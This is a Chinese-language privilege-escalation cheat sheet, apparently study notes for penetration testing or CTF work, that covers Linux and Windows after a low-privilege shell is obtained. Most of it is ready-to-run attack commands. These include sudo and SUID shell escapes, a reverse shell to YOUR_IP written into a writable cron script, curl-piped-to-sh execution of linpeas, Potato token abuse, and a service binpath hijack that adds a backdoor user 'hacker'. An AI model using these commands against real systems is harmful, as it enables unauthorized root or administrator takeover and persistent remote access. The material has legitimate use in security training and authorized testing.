跳转至

提权

拿到低权限 Shell 之后,下一步就是提权。Linux 和 Windows 的提权思路差异很大,分开整理。


Linux 提权

信息收集(提权前必做)

# 当前用户和权限
whoami && id
sudo -l                          # 能 sudo 执行什么命令

# 系统信息
uname -a                         # 内核版本
cat /etc/os-release              # 发行版
cat /etc/crontab                 # 定时任务
ps aux                           # 运行中的进程

# 查找 SUID 文件(重点)
find / -perm -4000 -type f 2>/dev/null

# 查找可写文件/目录
find / -writable -type d 2>/dev/null

# 查看环境变量
env
echo $PATH

常见提权路径

1. sudo 滥用

sudo -l 列出当前用户可以 sudo 执行的命令。很多命令都能用来提权,查 GTFOBins

# 示例:sudo vim 提权
sudo vim -c '!sh'

# 示例:sudo find 提权
sudo find / -exec /bin/sh \;

# 示例:sudo python 提权
sudo python3 -c 'import os; os.system("/bin/bash")'

2. SUID 提权

SUID 文件以文件所有者(通常是 root)身份运行:

# 常见可利用的 SUID 程序
find / -perm -4000 -type f 2>/dev/null

# 示例:/usr/bin/find 有 SUID
find . -exec /bin/sh -p \;

# 示例:/usr/bin/python3 有 SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

3. Crontab 提权

如果定时任务执行的脚本可写:

# 查看定时任务
cat /etc/crontab
ls -la /etc/cron.*

# 找到可写的脚本后,写入反弹 Shell
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' >> /path/to/script.sh

4. 内核漏洞提权

# 查内核版本
uname -r

# 常用提权漏洞
# DirtyPipe (CVE-2022-0847) — Linux 5.8+
# DirtyCow (CVE-2016-5195) — Linux 2.6.22 ~ 4.8.3
# PwnKit (CVE-2021-4034)   — polkit pkexec

# 用 linpeas 自动化枚举
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Windows 提权

信息收集

whoami /all                      :: 当前用户和权限
systeminfo                       :: 系统信息、补丁列表
net user                         :: 本地用户
net localgroup administrators    :: 管理员组成员
tasklist /svc                    :: 运行中的服务

常见提权路径

1. 令牌权限提权

如果当前用户有以下权限(whoami /priv 查看),可以直接提权:

权限 提权方式
SeImpersonatePrivilege Potato 系列(JuicyPotato、PrintSpoofer、GodPotato)
SeAssignPrimaryTokenPrivilege 同上
SeBackupPrivilege 可以读任意文件(包括 SAM 和 SYSTEM)
:: PrintSpoofer(Windows 10 / Server 2019)
PrintSpoofer.exe -i -c cmd

:: GodPotato(通杀)
GodPotato.exe -cmd "cmd /c whoami"

2. 服务权限提权

:: 找权限配置不当的服务
sc qc <服务名>
accesschk.exe -uwcv "Everyone" *

:: 如果能修改服务的二进制路径
sc config <服务名> binpath= "cmd.exe /c net user hacker P@ss123 /add"
sc stop <服务名>
sc start <服务名>

3. 未加引号的服务路径

:: 查找未加引号且路径中有空格的服务
wmic service get name,displayname,pathname,startmode | findstr /v "C:\Windows"

4. 补丁缺失

:: 查看已安装补丁
wmic qfe list

:: 用 WinPEAS 自动化
winPEASany.exe

自动化枚举工具

工具 平台 用途
linpeas Linux 全面枚举提权向量
winPEAS Windows 全面枚举提权向量
GTFOBins Linux 查询 sudo/SUID 可利用的命令
LOLBAS Windows 查询可利用的 Windows 二进制